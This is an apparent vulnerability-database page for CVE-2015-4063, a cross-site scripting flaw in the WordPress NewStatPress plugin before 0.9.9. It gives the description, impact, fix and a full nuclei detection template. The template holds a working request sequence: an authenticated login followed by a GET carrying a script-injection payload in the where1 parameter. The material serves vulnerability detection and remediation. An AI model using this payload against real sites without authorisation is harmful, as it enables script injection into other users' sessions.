HexBrain

Browse / CVEs / CVE-2015-4063

CVE-2015-4063· newstatpress project / newstatpress· CWE-79

NewStatPress <0.9.9 - Cross-Site Scripting

lowseverity
3.5CVSS score
6.1%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

WordPress NewStatPress plugin before 0.9.9 contains a cross-site scripting vulnerability in includes/nsp_search.php. The plugin allows remote authenticated users to inject arbitrary web script or HTML via the where1 parameter in the nsp_search page to wp-admin/admin.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Update to plugin version 0.9.9 or latest.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?where1=<script>alert(document.domain)</script>&searchsubmit=Buscar&page=nsp_search
Positive when: status_code_2 == 200 and contains(body_2, '<script>alert(document.domain)</script>') && contains(body_2, 'newstatpress')

Run it with nuclei: nuclei -id CVE-2015-4063 -u <target>

The full check
id: CVE-2015-4063

info:
  name: NewStatPress <0.9.9 - Cross-Site Scripting
  author: r3Y3r53
  severity: low
  description: |
    WordPress NewStatPress plugin before 0.9.9 contains a cross-site scripting vulnerability in includes/nsp_search.php. The plugin allows remote authenticated users to inject arbitrary web script or HTML via the where1 parameter in the nsp_search page to wp-admin/admin.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: Update to plugin version 0.9.9 or latest.
  reference:
    - https://packetstormsecurity.com/files/132038/
    - https://wordpress.org/plugins/newstatpress/
    - http://packetstormsecurity.com/files/132038/WordPress-NewStatPress-0.9.8-Cross-Site-Scripting-SQL-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4063
    - https://wordpress.org/plugins/newstatpress/changelog/
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:S/C:N/I:P/A:N
    cvss-score: 3.5
    cve-id: CVE-2015-4063
    cwe-id: CWE-79
    epss-score: 0.06094
    epss-percentile: 0.93478
    cpe: cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: newstatpress_project
    product: newstatpress
    framework: wordpress
  tags: cve2015,cve,xss,wordpress,wp-plugin,wp,newstatpress,packetstorm,newstatpress_project,vuln,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?where1=<script>alert(document.domain)</script>&searchsubmit=Buscar&page=nsp_search HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - "contains(body_2, '<script>alert(document.domain)</script>') && contains(body_2, 'newstatpress')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from